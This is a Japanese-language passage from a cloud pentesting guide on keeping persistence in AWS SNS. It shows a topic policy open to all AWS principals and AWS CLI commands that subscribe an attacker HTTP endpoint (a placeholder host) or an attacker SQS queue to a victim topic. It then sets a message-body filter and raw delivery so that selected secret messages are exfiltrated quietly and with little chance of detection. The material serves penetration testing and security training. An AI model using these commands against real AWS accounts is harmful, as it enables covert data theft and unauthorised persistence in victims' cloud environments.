Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence

AWS - SNS 永続化

{{#include ../../../../banners/hacktricks-training.md}}

SNS

詳細は次を参照:

{{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}}

永続化

SNS topic を作成する際、IAM policy で 誰が読み書きできるか を指定する必要があります。外部アカウント、ARN of roles、または "*" を指定することも可能です。
次のポリシーは、MySNS.fifo という SNS topic に対して AWS 内のすべてのユーザーに読み書きアクセスを与えます:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

サブスクライバーの作成

すべてのトピックからのメッセージを引き続き持ち出すため、攻撃者は すべてのトピックに対してサブスクライバーを作成することができる

トピックが FIFO タイプ の場合、プロトコルが SQS のサブスクライバーのみ使用できることに注意してください。

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

隠密で選択的な exfiltrationFilterPolicy を MessageBody に対して使用)

あるトピックに対して sns:Subscribesns:SetSubscriptionAttributes を持つ攻撃者は、JSON ボディが非常に狭いフィルタ(例: {"secret":"true"})に一致するメッセージのみを転送するステルスな SQS サブスクリプションを作成できます。これにより通信量と検出のリスクが低減され、機密レコードの exfiltration が可能になります。

潜在的な影響: 被害者トピックからターゲットとなる SNS メッセージのみを低ノイズで隠密に exfiltration する。

手順 (AWS CLI):

  • 攻撃者の SQS キュー ポリシーが被害者の TopicArn からの sqs:SendMessage を許可していることを確認するCondition aws:SourceArnTopicArn と等しい)。
  • トピックに対して SQS subscription を作成:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • フィルタを MessageBody に対して動作させ、secret=true のみをマッチさせる:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • オプション(ステルス): RawMessageDelivery を有効にして、受信側に生のペイロードのみを届ける:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • 検証: 2 件のメッセージを publish し、攻撃者キューに届くのが最初のメッセージのみであることを確認する。例のペイロード:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • クリーンアップ: 永続化テストのために作成した場合は、サブスクリプションを解除し攻撃者の SQS キューを削除する。

{{#include ../../../../banners/hacktricks-training.md}}